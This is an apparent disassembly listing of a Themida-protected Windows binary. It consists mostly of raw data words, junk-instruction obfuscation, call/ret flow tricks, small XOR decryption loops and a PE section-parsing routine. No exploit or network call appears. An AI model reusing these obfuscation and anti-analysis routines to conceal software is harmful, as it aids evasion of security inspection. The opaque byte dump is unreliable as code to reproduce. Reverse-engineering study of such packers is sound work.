0FF07E43Bh, 448589D0h, 0C607E737h, 0E42C2D85h dd 0A4684C07h, 0FF80A4E7h, 0E40DE1B5h, 0DC858D07h, 0FF07E43Bh dd 2B9D8BD0h, 8D07E737h, 8D53045Bh, 0E737309Dh, 6A5307h dd 9D8BD0FFh, 7E7372Bh, 103C7h, 43C70000h, 20Ch, 219D8B00h dd 0C707E418h, 0E4014985h, 7, 6A006A00h, 8B006A00h, 0E7372B9Dh dd 6A5307h, 3727B5FFh, 95FF07E7h, 7E73744h, 2C2D85C6h dd 684507E4h, 92A5F797h, 1DE1B5FFh, 858D07E4h, 7E43BDCh dd 6AD0FFh, 0D0FF026Ah, 0F6DB8C66h, 327504C3h, 372B9D8Bh dd 43C707E7h, 0Ch, 6A006A00h, 2B9D8B00h, 5307E737h, 0B5FF006Ah dd 7E73727h, 374495FFh, 0B5FF07E7h, 7E73727h, 97195FFh dd 6A07E4h, 166595FFh, 0B58907E4h, 7E412D9h, 2BA59589h dd 6A07E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 2B0173C3h, 664617C5h, 67AF781h ; --------------------------------------------------------------------------- loc_5B8DB0: ; CODE XREF: Themida_:005B8B41j lea eax, [ebp+7E76AE8h] push 0 push ebp call sub_5B8DC1 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B8DC1 proc near ; CODE XREF: Themida_:005B8DB9p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ch inc ebp push ebp retn sub_5B8DC1 endp ; --------------------------------------------------------------------------- db 7Fh, 0B3h, 0FCh dd 3848BAEEh, 0BA66B3D1h, 0F50E6CAh, 680h, 7BCA8100h, 6453815Ah dd 35FFh, 0BD8B0000h, 7E40B99h, 258964h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 0F27BC355h, 0F0B16C3Eh, 5DBD83F8h, 7E401h, 7F840Fh dd 958B0000h, 7E40219h, 2015BD83h, 0F0107E4h, 6C85h, 81DE8000h dd 3B44BD80h, 0F0007E7h, 5C85h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 508CA801h dd 5ACF8B52h, 11E9605Fh, 0C0000000h, 276A3E48h, 0B814371Fh dd 0FE0CD82Fh, 0EFA4240Ch, 0DE8h, 0DDED8000h, 0AA6492C2h dd 6FB12B3Dh, 0F9BE5FB0h, 586BB026h, 1B9E961h, 0B70F0000h dd 0BADB33FFh, 1EFB608Ch, 6AC033h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 142B4AC3h, 136FA0Ch dd 0E40B9D8Dh, 3F0F4007h, 8F640B07h, 5, 4C48300h, 73826CBAh dd 50006A1Ah, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 533EC04h, 0DC6F6D15h, 83F9F976h, 840FFFFBh dd 29h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h dd 0A6C35747h, 0E9B8CCEFh, 115h, 0A07905BAh, 8CE92Dh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 0EA18C7C3h, 0ADD61F80h, 8B46B24Bh, 0C70C244Ch, 0A481h dd 0FFFFFF00h, 0B88183FFh, 4000000h, 8BC3C033h, 550C245Ch dd 0E8h, 0ED815D00h, 7E76B0Ah, 0B8838Bh, 858D0000h, 7E76BD8h dd 0B88389h, 335D0000h, 8166C3C0h, 6A5CFFC9h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 8B8AC351h, 6672FB69h, 858DCF8Bh, 7E76B00h, 10E860h dd 1B910000h, 0DAD0D8B3h, 0ABE8EEh, 133577C7h, 9D0173B0h dd 7E427ADh, 7E959h, 59320000h, 17FA4F96h, 66506115h, 8BF489B9h dd 0E417F18Dh, 35FF6407h, 0 dd 85958Bh, 896407E4h, 25h, 28B0F00h, 0B2000000h, 0AB958h dd 4B80000h, 54855D7h, 0DF78164h, 85D465BBh, 0B640BA86h dd 0EA810034h, 345FE8h, 68FB81EDh, 75564D58h, 2D85C70Ah dd 107E40Eh, 64000000h, 58Fh, 0C4830000h, 0CA8B6604h, 8BC08BF9h dd 0E403DD95h, 0F1BD8307h, 7E413h, 0BD830975h, 7E40935h dd 50197400h, 0B8C08B53h, 43Dh, 0EED8589h, 9D8D07E4h, 7E6EA57h dd 585BD3FFh, 935BD83h, 740007E4h, 0B8535017h, 43Dh, 0EED8589h dd 9D8D07E4h, 7E6E6F8h, 585BD3FFh, 2679B529h, 0C08B07E4h dd 147E9h, 400h, 392E3100h, 3031h, 6 dup(0) dd 45000000h, 70656378h, 6E6F6974h, 666E4920h, 616D726Fh dd 6E6F6974h, 656C5000h, 2C657361h, 6E6F6320h, 74636174h dd 65687420h, 666F7320h, 72617774h, 65642065h, 6F6C6576h dd 73726570h, 74697720h, 68742068h, 6F662065h, 776F6C6Ch dd 20676E69h, 65646F63h, 54202E73h, 6B6E6168h, 756F7920h dd 0A0D0A2Eh, 2020200Dh, 20202020h, 72702820h, 20737365h dd 4C525443h, 6F20432Bh, 6874206Eh, 77207369h, 6F646E69h dd 6F742077h, 706F6320h, 6F742079h, 696C6320h, 616F6270h dd 20296472h, 0A202020h, 560D0A0Dh, 69737265h, 20206E6Fh dd 7325203Dh, 68430D0Ah, 496B6365h, 3D20204Eh, 0A642520h dd 6568430Dh, 554F6B63h, 203D2054h, 0D0A6425h, 636F7250h dd 20204E49h, 25203D20h, 500D0A64h, 4F636F72h, 20205455h dd 6425203Dh, 78450D0Ah, 4E497469h, 3D202020h, 0A642520h dd 6978450Dh, 54554F74h, 203D2020h, 0D0A6425h, 6E695054h dd 20202020h, 25203D20h, 0D0A64h, 2D7DBD83h, 0F0007E4h dd 12D84h, 0F858D00h, 5007E6E5h, 0E479858Dh, 685007E6h dd 80000001h, 0E51F95FFh, 858D07E6h, 7E76C46h, 50858D50h dd 5007E76Ch, 6A006Ah, 0E48D858Dh, 0FF5007E6h, 0E6E50FB5h dd 0F995FF07h, 8D07E401h, 0E76C4685h, 858D5007h, 7E76C54h dd 6A006A50h, 9F858D00h, 5007E6E4h, 0E50FB5FFh, 95FF07E6h dd 7E401F9h, 6C46858Dh, 8D5007E7h, 0E76C6085h, 6A5007h dd 858D006Ah, 7E6E4ECh, 0FB5FF50h, 0FF07E6E5h, 0E401F995h dd 46858D07h, 5007E76Ch, 6C68858Dh, 6A5007E7h, 8D006A00h dd 0E6E50A85h, 0B5FF5007h, 7E6E50Fh, 1F995FFh, 858D07E4h dd 7E76C46h, 64858D50h, 5007E76Ch, 6A006Ah, 0E4F3858Dh dd 0FF5007E6h, 0E6E50FB5h, 0F995FF07h, 8D07E401h, 0E76C4685h dd 858D5007h, 7E76C58h, 6A006A50h, 0FB858D00h, 5007E6E4h dd 0E50FB5FFh, 95FF07E6h, 7E401F9h, 6C46858Dh, 8D5007E7h dd 0E76C5C85h, 6A5007h, 858D006Ah, 7E6E502h, 0FB5FF50h dd 0FF07E6E5h, 0E401F995h, 0FB5FF07h, 0FF07E6E5h, 0E4213595h dd 0A2E907h, 0BD830000h, 7E41525h, 95840F00h, 83000000h dd 0E42015BDh, 850F0007h, 11h, 2D39958Bh, 0C28107E4h, 1CF8h dd 0FE9h, 0E5958D00h, 8B07E402h, 0C2813452h, 3BD4C340h dd 169D9589h, 0BD8307E4h, 7E4169Dh, 55840F00h, 8B000000h dd 0E4169D9Dh, 4CC38307h, 8589038Bh, 7E76C50h, 169D9D8Bh dd 0C38307E4h, 89038B50h, 0E76C5485h, 9D9D8B07h, 8307E416h dd 38B54C3h, 6C608589h, 9D8B07E7h, 7E4169Dh, 8B58C383h dd 64858903h, 8B07E76Ch, 0E4169D9Dh, 5CC38307h, 8589038Bh dd 7E76C58h, 2D7DBD83h, 0F0007E4h, 0D85h, 25BD8300h, 7E415h dd 68840Fh, 0B5FF0000h, 7E76C68h, 6C5CB5FFh, 0B5FF07E7h dd 7E76C58h, 6C64B5FFh, 0B5FF07E7h, 7E76C60h, 6C54B5FFh dd 0B5FF07E7h, 7E76C50h, 6C4A858Dh, 8D5007E7h, 0E76C8285h dd 858D5007h, 7E43359h, 6995FF50h, 8307E421h, 406A24C4h dd 6C6C858Dh, 8D5007E7h, 0E4335985h, 6A5007h, 216195FFh dd 16A07E4h, 166595FFh, 0C18B07E4h, 0F31718EBh, 9B46h dd 4 dup(0) dd 0BE90000h, 60000002h, 24245C8Bh, 0E8h, 0ED815D00h, 7E77016h dd 4C261h, 0FFFFE6E9h db 0FFh ; =============== S U B R O U T I N E ======================================= sub_5B94B1 proc near ; CODE XREF: Themida_:005B94B6j ; DATA XREF: Themida_:00583A8Co pusha popa retn 8 sub_5B94B1 endp ; --------------------------------------------------------------------------- jmp sub_5B94B1 ; --------------------------------------------------------------------------- loc_5B94BB: ; CODE XREF: Themida_:005B94C0j pusha popa retn 8 ; --------------------------------------------------------------------------- jmp loc_5B94BB ; --------------------------------------------------------------------------- loc_5B94C5: ; CODE XREF: Themida_:005B94CAj pusha popa retn 8 ; --------------------------------------------------------------------------- jmp loc_5B94C5 ; --------------------------------------------------------------------------- loc_5B94CF: ; CODE XREF: Themida_:005B94D4j pusha popa retn 8 ; --------------------------------------------------------------------------- jmp loc_5B94CF ; --------------------------------------------------------------------------- align 4 dd 0 dd 0C3616000h, 0FFFFF8E9h, 4EB58BFFh, 8107E770h, 0FFF000E6h dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 52B53B00h, 0F07E770h dd 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h, 24C88C66h dd 0FC00A03h, 1984h, 0BB535000h, 2, 169D858Bh, 188607E4h dd 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h, 0FFFFFFCFh dd 2474FF50h, 0DD95FF08h, 5007E419h, 244C010Fh, 0C08358FEh dd 5C8B531Ch, 89660C24h, 8966FC58h, 665B0258h, 324C88Ch dd 840FC00Ah, 9, 169D858Bh, 0C607E4h, 4FF5800h, 4C224h dd 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h, 3884h dd 2BB00h, 858B0000h, 7E4169Dh, 0DB0A1886h, 0FFF6850Fh dd 85C7FFFFh, 7E426B5h, 0 ; --------------------------------------------------------------------------- mov eax, [esp+8] mov ebx, [eax+1000h] mov [eax+1000h], ebx mov ebx, [eax] mov [eax], ebx jmp loc_5B95E3 ; --------------------------------------------------------------------------- mov dword ptr [ebp+7E426B5h], 100h loc_5B95E3: ; CODE XREF: Themida_:005B95D4j pop eax pop ebx inc dword ptr [esp] retn ; --------------------------------------------------------------------------- db 0E9h, 0A3h, 0FFh dd 8060FFFFh, 840F003Eh, 31h, 3AB7A1BBh, 0B101B076h, 13E901h dd 8AAC0000h, 32C302C8h, 0AACBD1C3h, 840FD20Bh, 1, 0FC90A4Ah dd 0FFFFE585h, 0FD20BFFh, 0FFFFDD85h, 52C361FFh, 8B57D48Bh dd 0C033087Ah, 1E9h, 3F80AA00h, 0F6850F00h, 5FFFFFFFh dd 4C25Ah, 33565153h, 0E9DB33C0h, 10h, 0D1D833ACh, 0BCC381D3h dd 8A37465Ah, 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h, 595EC38Bh dd 0BB60C35Bh, 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h dd 0BAACBD1h, 1840FD2h, 4A000000h, 850FC00Ah, 0FFFFFFE7h dd 850FD20Bh, 0FFFFFFDFh, 8C66C361h, 0F04A8D8h, 2984h dd 0F385C700h, 107E76Fh, 50000000h, 244C010Fh, 0F7858FFEh dd 8D07E76Fh, 0E76FEF85h, 0F7BD8D07h, 8907E76Fh, 23E938h dd 858D0000h, 7E402E5h, 538408Bh, 9B46F317h, 6FEF8589h dd 858D07E7h, 7E402E5h, 893C408Bh, 0E76FF385h, 0C858D07h dd 8907E770h, 0E419DD85h, 87E907h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5B970A: ; DATA XREF: Themida_:00583C68o push edx mov edx, esp pusha mov esi, [edx+8] mov edi, [edx+0Ch] mov eax, 0A945CAB2h jmp loc_5B9725 ; --------------------------------------------------------------------------- loc_5B971E: ; CODE XREF: Themida_:005B9727j add [esi], al xor [esi], al ror eax, 1 inc esi loc_5B9725: ; CODE XREF: Themida_:005B9719j cmp esi, edi jb loc_5B971E popa pop edx retn 8 ; --------------------------------------------------------------------------- loc_5B9732: ; DATA XREF: Themida_:0058300Co push edx mov edx, esp pusha mov esi, [edx+8] mov edi, [edx+0Ch] mov eax, 0A945CAB2h jmp loc_5B974D ; --------------------------------------------------------------------------- loc_5B9746: ; CODE XREF: Themida_:005B974Fj xor [esi], al sub [esi], al ror eax, 1 inc esi loc_5B974D: ; CODE XREF: Themida_:005B9741j cmp esi, edi jb loc_5B9746 popa pop edx retn 8 ; --------------------------------------------------------------------------- loc_5B975A: ; DATA XREF: Themida_:005841F0o push edx mov edx, esp push esi push ecx push ebx xor ebx, ebx mov esi, [edx+8] mov ecx, [edx+0Ch] jmp loc_5B9780 ; --------------------------------------------------------------------------- loc_5B976D: ; CODE XREF: Themida_:005B9782j lodsb cmp al, 2Dh jz loc_5B9780 add al, 98h xor al, 13h xor bl, al rol ebx, 8 dec ecx loc_5B9780: ; CODE XREF: Themida_:005B9768j ; Themida_:005B9770j or ecx, ecx jnz loc_5B976D mov eax, ebx pop ebx pop ecx pop esi pop edx retn 8 ; --------------------------------------------------------------------------- db 8Dh, 85h, 7Fh dd 8907E772h, 0E417DD85h, 0A7858D07h, 8907E772h, 0E40B8185h dd 0CF858D07h, 8907E772h, 0E41D6585h, 12E807h, 41680000h dd 7C01EAFBh, 29D36EE5h, 4901A1DBh, 0A900AD9Dh, 26EB8166h dd 5E958A5h, 7A000000h, 45114F13h, 5B04C081h, 81660000h dd 683252EBh, 1690h, 68B0Fh, 820F0000h, 0 ; --------------------------------------------------------------------------- pop edi sub cx, 246Eh loc_5B97FE: ; CODE XREF: Themida_:005B986Ej push dword ptr [eax] mov esi, eax pop edx push esi sbb bh, 0ABh pop ebx xor edx, 7A38FC80h jno loc_5B9819 and bx, 17DEh loc_5B9819: ; CODE XREF: Themida_:005B980Ej add edx, 6BF8D56Ch push eax and ch, 0D3h pop esi sub edx, 0FC9A05Dh and esi, 7B3AD15Eh mov [eax], edx jz loc_5B9845 pusha mov edx, 103DAF03h jle $+6 popa loc_5B9845: ; CODE XREF: Themida_:005B9832j sub eax, 6EEA2008h jmp loc_5B9864 ; --------------------------------------------------------------------------- dd 0F4A6F213h, 0D0CE97F6h, 0CE3EC430h, 9E35F8F9h, 0B809610h ; --------------------------------------------------------------------------- loc_5B9864: ; CODE XREF: Themida_:005B984Bj add eax, 6EEA2004h add cl, 62h dec edi jnz loc_5B97FE call sub_5B987F xchg edi, [ecx-407D16C2h] ; =============== S U B R O U T I N E ======================================= sub_5B987F proc near ; CODE XREF: Themida_:005B9874p push eax pop ebx pop ecx pusha pusha jmp loc_5B9890 ; --------------------------------------------------------------------------- add [eax+edx-40929AD4h], esi loc_5B9890: ; CODE XREF: sub_5B987F+5j mov bx, cx popa jmp loc_5B98A1 ; --------------------------------------------------------------------------- db 0DDh, 8, 9Ah ; --------------------------------------------------------------------------- pop ds add [ebx], ch mov dh, dh loc_5B98A1: ; CODE XREF: sub_5B987F+15j mov eax, eax mov si, bx cmp dword ptr [ebp+7E413F1h], 0 jnz short loc_5B98B8 cmp dword ptr [ebp+7E40935h], 0 jz short loc_5B98D1 loc_5B98B8: ; CODE XREF: sub_5B987F+2Ej push eax push ebx mov eax, eax mov eax, 40Eh mov [ebp+7E41479h], eax lea ebx, [ebp+7E6E9F0h] call ebx ; _iob pop ebx pop eax loc_5B98D1: ; CODE XREF: sub_5B987F+37j cmp dword ptr [ebp+7E40935h], 0 jz short loc_5B98F1 push eax push ebx mov eax, 40Eh mov [ebp+7E41479h], eax lea ebx, [ebp+7E6E6DFh] call ebx ; _iob pop ebx pop eax loc_5B98F1: ; CODE XREF: sub_5B987F+59j push 0 push ebp call sub_5B98FC and [ebp-3Dh], bl sub_5B987F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5B98FC proc near ; CODE XREF: sub_5B987F+75p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ch inc ebp push ebp retn sub_5B98FC endp ; --------------------------------------------------------------------------- dd 28E7C7F0h, 27843010h, 0D0A7BE49h, 0FE8405Ah, 0D8000000h dd 4222E7F1h, 45BBF923h, 1F3FABB5h, 66568C9Fh, 5E5ACF8Bh dd 8166C08Bh, 83F0F5D1h, 0E4015DBDh, 840F0007h, 45h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 15h, 33C35040h, 2C3E92Eh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 9B5A64C3h, 0BF0F27D0h, 0FDF8CD2h, 8Eh, 0C7F76600h dd 850F0004h, 28Dh, 0BD83D18Bh, 7E42BFDh, 18850F00h, 8A000000h dd 277E9D1h, 9E90000h, 60000000h, 0B5CF593Dh, 0F160E8ADh dd 2BF3B70Fh, 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1504h, 0C3554500h, 0AE9EB3Eh, 6000000h, 0BB4F5D4Bh dd 79B14D43h, 7B9D8D98h, 0BE07E777h, 0AA67F10h, 78A0F50h dd 51000000h, 548B0CB9h, 1C895A3Ch, 57006A24h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 0E9AFB5E1h dd 0Bh, 6F8DC103h, 0C9C20AFCh, 64352129h, 35FFh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 650AB1C3h, 0AE8h, 0AB166B00h, 6BB97AE6h, 0F41753Ah dd 385h, 0D0B70F00h, 2589645Ah, 0 ; --------------------------------------------------------------------------- push 0 push esi call sub_5B9A8F and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B9A8F proc near ; CODE XREF: Themida_:005B9A87p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 17h inc esi push esi retn sub_5B9A8F endp ; --------------------------------------------------------------------------- db 0C9h dd 0FFCA19Ch, 0A80h, 5E900h, 17C70000h, 8B677558h, 50006AC4h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 0CD6335C7h, 8100EB01h, 0B9D846DAh, 55006A18h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 270C4F58h, 91EFA181h, 0F78B8397h, 8F6470B6h, 5, 0EDF68100h dd 8323B1B0h, 6A04C4h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 524743C3h, 0A4D2A550h, 0B317C4Dh dd 0EA840FC0h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 5950C355h, 0C495EB64h dd 0F66030Dh, 88Dh, 28B0F00h, 60000000h, 0E8605061h, 10h dd 0C5056387h, 918EAE41h, 0AA145920h, 4A90990Dh, 0F2C68058h dd 66615A61h, 8DD79DBAh, 0E472B7BDh, 1B8F507h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 28FCC355h, 0DA03216Fh, 0FFD08B66h, 57006AE7h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 0C81FD2CEh, 0C4795536h, 14E9F5h, 0DF150000h, 9BA7CFDBh dd 0F5F6D2AFh, 5480F986h, 0FB19983Ah, 8B57C242h, 8B10245Ch dd 0B883h, 40B60F00h, 89C8FE01h, 0B083h, 0B8838300h, 2000000h dd 0C3C0335Fh, 0D3E28166h, 66606109h, 9BCADE81h, 0B2C08B61h dd 0F1BD8307h, 7E413h, 0BD830975h, 7E40935h, 50197400h dd 0B8C08B53h, 40Eh, 0EED8589h, 9D8D07E4h, 7E6EA57h, 585BD3FFh dd 935BD83h, 740007E4h, 0B8535017h, 40Eh, 0EED8589h, 9D8D07E4h dd 7E6E6F8h, 585BD3FFh, 6A9CC680h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0EC22C357h dd 15F3BFD1h, 0E8C08BF5h, 13h, 64540A26h, 92D0C044h, 279E621Ah dd 0B48CA4B3h, 0FAE17BDh, 0B86h, 6E900h, 0BC0E0000h, 2E56EF50h dd 38BA665Eh, 0EBC28BB8h, 8, 0 dd 7BE900h, 52600000h, 244C010Fh, 0C2835AFEh, 15858B24h dd 8D07E420h, 0E7CC1085h, 8B088B07h, 100088h, 660A8B00h dd 89FC4A8Bh, 0E778568Dh, 0FDBD8307h, 7E42Bh, 0F840Fh dd 6A600000h, 4195FF00h, 6107E40Eh, 0FFFFC4E9h, 728966FFh dd 10CEC1FCh, 2728966h, 5A04CD52h, 78528589h, 0B58B07E7h dd 7E77856h, 6610CEC1h, 8B027289h, 0E77856B5h, 72896607h dd 858B61FCh, 7E77852h, 0AD958DC3h, 8907E40Bh, 0E4169D95h dd 0B5958907h, 0FF07E41Eh, 0E41EB585h, 2D85C607h, 5307E42Ch dd 0B148D868h, 9DB5FFFCh, 8D07E401h, 0E43BDC85h, 89D0FF07h dd 0E40E4185h, 26858D07h, 8907E770h, 0E4160185h, 0E900EB07h dd 5ACh, 5A0E9h, 79FB6800h, 0C8E907E7h, 68FFFD04h, 7E77B52h dd 0FD04BEE9h, 7BC768FFh, 0B4E907E7h, 68FFFD04h, 7E77CA6h dd 0FD04AAE9h, 7D9368FFh, 0A0E907E7h, 0B2FFFD04h, 0E24B8DAh dd 6B811535h, 0CBE1758Fh, 2E44D8ECh, 0CAA33753h, 34502B24h dd 92B08AA0h, 0F40AE8FEh, 556D4A60h, 0E15E0EC1h, 13A5D91Ah dd 3DDB73B8h, 6237495Fh, 42A08477h, 0A04B3014h, 11ED1442h dd 0A91442A0h, 1442A0D6h, 42A09862h, 0A0631C14h, 0E4AB9442h dd 0DC7ACAh, 0B313AEE6h, 337FA520h, 411F3172h, 0A69B86C4h dd 0D6E35593h, 96599530h, 29927183h, 475D3BD9h, 0FA77D9B3h dd 93A6D305h, 3C5668D1h, 3910485Eh, 8B085856h, 9442CC25h dd 0DC76CA33h, 41E2352Ah, 4267B01h, 79510000h, 0D4ADC357h dd 2E0A20B4h, 8B6A8014h, 0F2CDE377h, 836942D6h, 3FD3EFCAh dd 9D314F29h, 0FF93A987h, 60F40CE9h, 0FB80FDADh, 5713A5D9h dd 79568312h, 827C2961h, 551442A0h, 0DF41782Ch, 42A09D62h dd 80D03914h, 42A07C03h, 5F71DA14h, 0BC506845h, 61B1C9A6h dd 0A0FD82FFh, 0F0591442h, 6D4A18DEh, 2D930555h, 4C934C4Ah dd 1553192Bh, 4825184Ch, 3AC59C30h, 9BE05BC0h, 386h, 1BF492C4h dd 7B916FFBh, 7C96A843h, 0A24F879Fh, 1442A0D8h, 0A42623Bh dd 0BD495D3Ch, 0EE90C8E0h, 3E52FA7Dh, 0C043E297h, 0EAACCC84h dd 1B53734Ch, 95D16E80h, 65B5CDAAh, 0C0D2EAC7h, 9D3BEB9Eh dd 0B997A9BFh, 425A473Ch, 72AA1314h, 0ACA9C6A4h, 2A33F705h dd 604BC121h, 264A9AC6h, 0FD5F39CDh, 16591E9Bh, 8CF51442h dd 42165A21h, 7B88F814h, 0C7EB84A7h, 6E889AF3h, 6A417991h dd 1AF48826h, 365EEDA8h, 47D30D67h, 7E19516Bh, 5D75526Ch dd 5F7D5725h, 6025D6CBh, 0CAA1442h, 0E9031531h, 0E2B9F10Fh dd 3FB101ADh, 2E0AB4BFh, 6F15B414h, 0B9211D7Dh, 0D0D22854h dd 0E07EE0BEh, 0C1D7B506h, 5D95EE89h, 5B7B0C2h, 4B13A652h dd 0C8CE8EE2h, 23636A18h, 2CF9Dh, 0AED0A800h, 0B2B041Ah dd 6B856177h, 0CEE2C1D7h, 2D49243Ah, 213AC099h, 80962A46h dd 0DEF488A6h, 4056EA00h, 4B74B63h, 0DB20D754h, 69AE13A5h dd 617956DAh, 667E5B29h, 6886602Eh, 0A05CDFD4h, 27D81442h dd 701442B0h, 0AE407896h, 0B1D3110h, 42B06912h, 784E614h dd 1442B070h, 406375DEh, 920F5F4Fh, 13A69308h, 0DD89DD46h dd 686A1989h, 25AA228h, 451D0000h, 0A0798F23h, 0FAD6EC80h dd 57364CE0h, 0BE99AF43h, 0CF350EA2h, 0B9FBB96h, 69FD1BF5h dd 0CB5F7553h, 2CC0D8B5h, 0B74CC979h, 2313A5DBh, 79564FDEh dd 35972961h, 42A0C3B8h, 14268F14h, 0F6D21DFAh, 0D4B83DCh dd 70886503h, 0EE8B9D38h, 0D2EAC7B6h, 8CF2643Eh, 61A8690Dh dd 728D687Ah, 63E05B27h, 1D2h, 0A084778Ch, 310F1442h, 0FAD871Bh dd 0DEA52233h, 7C1442A0h, 0E782BA13h, 0C7DDBBD5h, 0E000D977h dd 5C3A08CEh, 0F984F646h, 666AFA27h, 55E5AE57h, 0AD06505Ch dd 0F42C4421h, 43814759h, 7553CA7Ah, 0BF4CB5Fh, 0CCE05BEEh dd 5Dh, 6C424DF5h, 0B8719F1Ch, 0BF1F13A6h, 0A6B9BD42h dd 0A27D1913h, 5AB34E86h, 0B9F68D0Ah, 0FB6413A6h, 0A5224EA2h dd 0F7376A19h, 17B71h, 224FC00h, 5F7F586Eh, 0BFD9B5CBh dd 2236152Bh, 819D788Eh, 75EE14EDh, 0D4EA7E9Ah, 3248DCFAh dd 94AA3E54h, 580B9FB7h, 0DC542BA8h, 0BD0213A5h, 6377562Eh dd 7E0D8A3Ah, 0EC1442A0h, 9F7D4B83h, 55E7C56h, 667E5B71h dd 7539572Eh, 0A4EDCBE1h, 0DB76AEC8h, 0FBD8EE82h, 0EF2193E3h dd 64A62AB2h, 5422E8FAh, 15C85C7Ah, 0D4E8C765h, 95A1B474h dd 94A6C37Ch, 0FD4239B6h, 0A7101442h, 0ABC5A16Fh, 149AF817h dd 18320EDCh, 0FDEC8F84h, 1631442h, 42FDFF84h, 0E0F25B14h dd 8CDCD2BDh, 0A6DBAD0Fh, 0EA3AA313h, 4355714Ch, 9BEEC765h dd 0B84CA5BFh, 9B76C9A2h, 20EE267Fh, 7ADC2C42h, 0A62406FDh dd 596BD413h, 0CDEBC593h, 0D1EBC795h, 0DDA21F81h, 7913A624h dd 6138FE10h, 0B330802Eh, 14422FE5h, 84F64AB3h, 0E962352Eh dd 8E23A9h, 11E90000h, 6C455BEFh, 0C6A2B84Ch, 230218ACh dd 8A657B0Fh, 0FB01DA6Eh, 0D76B8762h, 35C9E7C1h, 972B411Fh dd 0F88CA481h, 63189545h, 0EF13A5DDh, 20921BAAh, 59810348h dd 2F495B84h, 112B0752h, 0ADE53ED9h, 0B2EA02DFh, 84FBAB74h dd 24FB8FA7h, 0E05B18DBh, 29431FBDh, 107817h, 77A10000h dd 1442A085h, 871B3310h, 1AB9h, 0F4924800h, 32C4FC1Ah dd 42A0CEB5h, 0CA238C14h, 0A03CBFB8h, 7A571442h, 94FDCE62h dd 24258h, 74C30000h, 245C7E56h, 29617956h, 2F677D5Bh dd 31698761h, 346C8863h, 376F8B66h, 3E768A69h, 427A9470h dd 437B9B74h, 2CD768EEh, 3C890000h, 59E76824h, 34890000h dd 0E6895624h, 4C681h, 0EE810000h, 4, 5C243487h, 0BE240C89h dd 2F1E205Fh, 2414F756h, 0EE81465Eh, 0C8FA6645h, 8904EC83h dd 4812424h, 424h, 89685900h, 8900007Fh, 8BB241Ch, 1000000h dd 5B3389CBh, 592434FFh, 4C481h, 348B0000h, 0E0895024h dd 405h, 40500h, 4870000h, 3CE95C24h, 6EFFFCFFh, 0A35999A4h dd 4CBEE58Ch, 7E46B88Fh, 0C50307E7h, 51E9D18Bh db 3 dup(0) ; =============== S U B R O U T I N E ======================================= sub_5BA363 proc near ; DATA XREF: Themida_:005829C4o ; Themida_:005846D8o var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov esi, [esp+20h+arg_0] add esi, [esi+3Ch] mov edi, [esp+20h+arg_4] mov edx, esi add edx, 0F8h mov cx, [esi+6] movzx ecx, cx loc_5BA37E: ; CODE XREF: sub_5BA363+46j cmp ecx, 0 jz loc_5BA39D cmp edi, [edx+0Ch] jg loc_5BA3A5 sub edx, 28h mov eax, [edx+0Ch] mov ecx, [edx+14h] sub eax, ecx sub edi, eax loc_5BA39D: ; CODE XREF: sub_5BA363+1Ej ; sub_5BA363+4Cj mov [esp+20h+var_4], edi popa retn 8 ; --------------------------------------------------------------------------- loc_5BA3A5: ; CODE XREF: sub_5BA363+27j add edx, 28h dec ecx jnz loc_5BA37E jmp loc_5BA39D sub_5BA363 endp ; --------------------------------------------------------------------------- mov edx, 9FD3Eh jmp short loc_5BA3DB ; --------------------------------------------------------------------------- align 4 dd 7 dup(0) db 3 dup(0) ; --------------------------------------------------------------------------- loc_5BA3DB: ; CODE XREF: Themida_:005BA3B9j jmp loc_5BA945 ; --------------------------------------------------------------------------- jmp loc_5BA93E ; --------------------------------------------------------------------------- push 7E78113h jmp loc_58A287 ; --------------------------------------------------------------------------- push 7E781D9h jmp loc_58A287 ; --------------------------------------------------------------------------- push 7E78351h jmp loc_58A287 ; --------------------------------------------------------------------------- push 7E783BAh jmp loc_58A287 ; --------------------------------------------------------------------------- db 0D8h, 0, 0DEh dd 3B5B344Ah, 9BB591A7h, 